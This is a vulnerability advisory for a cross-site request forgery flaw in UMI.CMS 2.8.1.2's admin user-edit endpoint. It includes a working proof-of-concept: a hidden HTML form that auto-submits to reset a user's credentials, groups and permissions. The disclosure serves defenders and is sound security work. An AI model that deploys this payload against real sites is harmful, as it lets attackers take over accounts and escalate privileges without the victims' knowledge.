UMI.CMS 2.8.1.2 Cross Site Request Forgery

`Vulnerability ID: HTB22812  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_umi_cms.html  
Product: UMI.CMS  
Vendor: umisoft ( http://www.umi-cms.ru/ )   
Vulnerable Version: 2.8.1.2  
Vendor Notification: 25 January 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/admin/users/edit/USERID/do/" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://[host]/admin/users/edit/USERID/do/" method="post" name="main" enctype="multipart/form-data" >  
  
<input type="hidden" name="referer" value="google">  
<input type="hidden" name="domain" value="[host]">  
<input type="hidden" name="type-id" value="4">  
<input type="hidden" name="data[USERID][login]" value="test">  
<input type="hidden" name="data[USERID][password][]" value="">  
<input type="hidden" name="data[USERID][e-mail]" value="[email protected]">  
<input type="hidden" name="data[USERID][groups][]" value="0">  
<input type="hidden" name="data[USERID][groups][]" value="2374">  
<input type="hidden" name="data[USERID][groups][]" value="0">  
<input type="hidden" name="data[USERID][is_activated]" value="0">  
<input type="hidden" name="data[USERID][is_activated]" value="1">  
<input type="hidden" name="data[USERID][preffered_currency]" value="">  
<input type="hidden" name="data[USERID][lname]" value="">  
<input type="hidden" name="data[USERID][fname]" value="">  
<input type="hidden" name="data[USERID][father_name]" value="">  
<input type="hidden" name="ps_m_perms[content]" value="content">  
<input type="hidden" name="domain[1]" value="0">  
<input type="hidden" name="domain[1]" value="1">  
<input type="hidden" name="content[content]" value="1">  
<input type="hidden" name="content[sitetree]" value="1">  
<input type="hidden" name="save-mode" value="Save">  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`